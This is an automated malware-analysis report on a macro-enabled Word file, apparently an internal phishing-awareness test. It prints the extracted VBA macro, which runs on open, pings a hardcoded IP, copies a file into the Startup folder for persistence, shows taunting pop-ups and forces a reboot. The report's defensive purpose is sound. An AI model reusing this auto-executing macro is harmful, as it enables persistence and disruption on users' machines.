Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 903780548612c70d…

MALICIOUS

Office (OOXML)

23.8 KB Created: 2020-06-01 03:02:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: f3207586b61f7e2db81428a8484fb404 SHA-1: 0c33ca843e0c1521b09e16a68d894155a445ecb6 SHA-256: 903780548612c70da9557efed94a8a80d77bd63849cb4c2390bf7aefb8cd683b
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document, as indicated by the Document_Open macro and Shell() call heuristics. The script attempts to establish communication by pinging the hardcoded IP address '123.123.132.1' and then initiates a system shutdown using the command 'shutdown /r /t 10'. The presence of VBA macros and the execution of arbitrary commands strongly suggest a malicious document designed to compromise the system.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://ocbcgroup-my.sharepoint.com/personal/a5121076_ocbcgroup_ocbc_com/Documents/AddendumIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2255 bytes
SHA-256: f76a468ab2fc4f90a9d1febd222d96cb0545567d2375d268d8850d6dc0f749e6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim folderPath As String
    Dim shellCommand As String
    Dim c2 As String
    
    c2 = "123.123.132.1"
    
    Copy_File
    
    shellCommand = "" & "ping " & c2 & ""
    Call Shell(shellCommand, 0)
    Call Shell(shellCommand, 2)
    Call Shell(shellCommand, 0)
    Call Shell(shellCommand, 2)

    MsgBox "WHY YOU OPEN THE FILE", vbCritical, "(/°O°)/"
    MsgBox "OPEN FILE NOT ENOUGH, STILL MUST ENABLE MACRO", vbCritical, "\(°O°\)"
    MsgBox "WHY", vbCritical, "(/°O°)/"
    'MsgBox "Please go the nearest T2 and apologise to him/her now and ask what to do", vbCritical, "\(°O°\)"
    'MsgBox "Okay no choice you need to click through this since you anyhow open file and run macro", vbCritical, "(/°O°)/"
    'MsgBox "5", vbCritical, "\(°O°\)"
    'MsgBox "4", vbCritical, "(/°O°)/"
    'MsgBox "3", vbCritical, "\(°O°\)"
    'MsgBox "2", vbCritical, "(/°O°)/"
    'MsgBox "1", vbCritical, "(/°O°)/"
    'MsgBox "last one", vbCritical, "\(°O°\)"
    'MsgBox "almost there", vbCritical, "(/°O°)/"
    'MsgBox "ready to try again?", vbCritical, "\(°O°\)"
    'MsgBox "okay one more", vbCritical, "(/°O°)/"
    'MsgBox "alright thats it", vbCritical, "\(°O°\)"
    'MsgBox "Please attempt the question again", vbCritical, "(/°O°)/"
    
    shellCommand = "" & "shutdown /r /t 10" & ""
    Call Shell(shellCommand, 0)
    
End Sub

Sub Copy_File()

    Dim FSO As Object
    Dim FromPath As String
    Dim ToPath As String
    Dim UserNameId As String
    
    UserNameId = Environ("USERNAME")
    
    FromPath = "\\fssg52\fileshar1\CSOC\Tier 1\animation.gif"
    ToPath = "C:\Users\" & UserNameId & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"

    Set FSO = CreateObject("scripting.filesystemobject")
    
    If FSO.FileExists(FromPath) Then
        Call FSO.CopyFile(FromPath, ToPath, True)
    End If
    
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11264 bytes
SHA-256: b920686239718a9adaaa9bde2b567f9a33d80bf99fffffa0200f7c867e0a287e

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